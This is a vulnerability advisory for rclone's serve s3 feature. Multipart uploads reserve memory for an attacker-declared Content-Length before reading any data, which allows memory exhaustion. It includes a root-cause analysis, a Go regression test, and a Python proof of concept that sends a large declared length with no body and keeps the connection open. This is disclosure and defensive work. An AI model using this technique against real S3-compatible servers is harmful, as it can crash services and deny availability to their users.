high

CVE-2026-88045

Go · github.com/rclone/rclone

Summary

rclone: S3 multipart declared-length memory exhaustion

Severity
high
CVSS
7.5
CWE
CWE-789
Also known as
GHSA-2p48-j3qc-rx9f
Published
2026-09-10
Updated
2026-09-10

Advisory details

Summary

In streamed multipart mode, serve s3 passes the request's declared part length to multipart.NewRW().Reserve(contentLength) before reading any part data. Reserve immediately obtains enough 1 MiB pool pages for the entire declared length. The request handler therefore allocates attacker-selected memory based only on Content-Length or X-Amz-Decoded-Content-Length; the client does not need to transmit the corresponding body.

--multipart-streaming-buffer-limit does not stop the allocation for the current expected part or for one oversized part when the buffer is empty. That exception is intentional to guarantee upload progress, and the flag's short help is scoped to out-of-order parts; this report therefore does not treat the option as a total memory cap. The security issue is the absence of a separate safe maximum or incremental allocation: a small request header can cause an arbitrarily large reservation and exhaust the process or host.

The default S3 configuration allows anonymous access when no auth_key is set, so an unauthenticated network client can reach the path in such deployments. Authenticated deployments require a valid S3 credential. Confirmed affected targets are v1.75.0 and development commit 5629f2668c69149bf3d9d8e2a25bb32a2648606e, both of which include streamed multipart support.

Affected Assets & Attack Surface

Technical Root Cause Analysis

The admission counter and the allocator both use the attacker-controlled contentLength, while the admission rules allow the current part regardless of its size:

if up.bufferLimit <= 0 ||
    partNumber <= up.nextPart ||
    up.buffered == 0 ||
    up.buffered+size <= up.bufferLimit {
    up.buffered += size
    return nil
}

Part 1 of a new upload satisfies both partNumber <= up.nextPart and up.buffered == 0, regardless of size. UploadPart then executes:

rw := multipart.NewRW().Reserve(contentLength)

Reserve calculates the page count and calls pool.GetN. With the default global pool, GetN allocates a 1 MiB byte slice for every missing page. This occurs before io.Copy attempts to read the request body.

The HTTP layer does not independently cap a multipart part length. GoFakeS3 accepts Content-Length as an int64; signed streaming requests can replace it with X-Amz-Decoded-Content-Length. An attacker can send the headers and keep the body idle, retaining the reservation. Multiple uploads or connections multiply the effect.

The documented statement that memory is bounded by “parts in flight” is not an effective byte bound when one part can have an attacker-declared size and is fully preallocated. AWS's normal 5 GiB maximum part size would still be unsafe to reserve on most rclone hosts, and this dependency path does not enforce that maximum before allocation.

Setting the global --max-buffer-memory may change the symptom from allocation to waiting on the global semaphore. It is not a complete fix: the acquisition uses context.Background(), and a request larger than the semaphore capacity cannot ever acquire its requested weight, leaving a handler blocked until process termination.

Proof of Concept & Evidence

Bounded regression test

The following test proves both the limit bypass and immediate allocation without stressing the host. Add it as cmd/serve/s3/security_regression_test.go:

package s3

import (
    "testing"

    "github.com/rclone/rclone/lib/multipart"
    "github.com/rclone/rclone/lib/pool"
    "github.com/stretchr/testify/require"
)

func TestOversizedCurrentPartReservation(t *testing.T) {
    const (
        limit = int64(1 << 20)  // 1 MiB configured limit
        size  = int64(16 << 20) // 16 MiB attacker declaration
    )

    up := newMultipartUpload(
        "bucket", "object", "bucket/object", "bucket/object", nil, limit,
    )

    require.NoError(t, up.waitForTurn(1, size))
    require.Equal(t, size, up.buffered)

    before := pool.Global().InUse()
    rw := multipart.NewRW().Reserve(size)
    t.Cleanup(func() { require.NoError(t, rw.Close()) })
    after := pool.Global().InUse()

    require.GreaterOrEqual(t,
        after-before,
        int(size/int64(pool.BufferSize)),
    )
}

Run:

go test ./cmd/serve/s3 -run '^TestOversizedCurrentPartReservation$' -count=1 -v

Observed against 5629f2668c69149bf3d9d8e2a25bb32a2648606e:

=== RUN   TestOversizedCurrentPartReservation
--- PASS: TestOversizedCurrentPartReservation (0.00s)
PASS

The passing test means a 16 MiB current part is admitted against a 1 MiB limit and immediately consumes at least sixteen 1 MiB pool pages.

Loopback HTTP validation

Use a fresh process and a disposable root. The 64 MiB value below demonstrates the effect safely; do not substitute an out-of-memory value on a production host.

mkdir -p /tmp/rclone-s3-root/bucket

./rclone serve s3 /tmp/rclone-s3-root \
  --addr 127.0.0.1:8080 \
  --multipart-streaming-buffer-limit 1Mi

In another terminal:

python3 - <<'PY'
import http.client
import socket
import time
import xml.etree.ElementTree as ET
from urllib.parse import quote

host = "127.0.0.1"
port = 8080

# Anonymous mode is intentional here and matches a supported default setup.
c = http.client.HTTPConnection(host, port, timeout=5)
c.request("POST", "/bucket/object?uploads", body=b"", headers={"Content-Length": "0"})
r = c.getresponse()
body = r.read()
assert r.status == 200, (r.status, body)
upload_id = ET.fromstring(body).findtext("{*}UploadId")
assert upload_id
c.close()

declared = 64 * 1024 * 1024
path = "/bucket/object?partNumber=1&uploadId=" + quote(upload_id, safe="")

s = socket.create_connection((host, port), timeout=5)
s.sendall((
    f"PUT {path} HTTP/1.1\r\n"
    f"Host: {host}:{port}\r\n"
    f"Content-Length: {declared}\r\n"
    "Connection: close\r\n"
    "\r\n"
).encode("ascii"))

# No body bytes are sent. Inspect the fresh rclone process while this waits:
# the handler has reserved 64 pool pages despite the 1 MiB reorder limit.
time.sleep(5)
s.close()
PY

Closing the socket allows the handler to return IncompleteBody and release the pages. Keeping multiple sockets open retains multiple reservations. A sufficiently large declared length can terminate the process before a response is returned.

The final automated validation performed this sequence through the real HTTP listener rather than calling waitForTurn or Reserve directly:

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.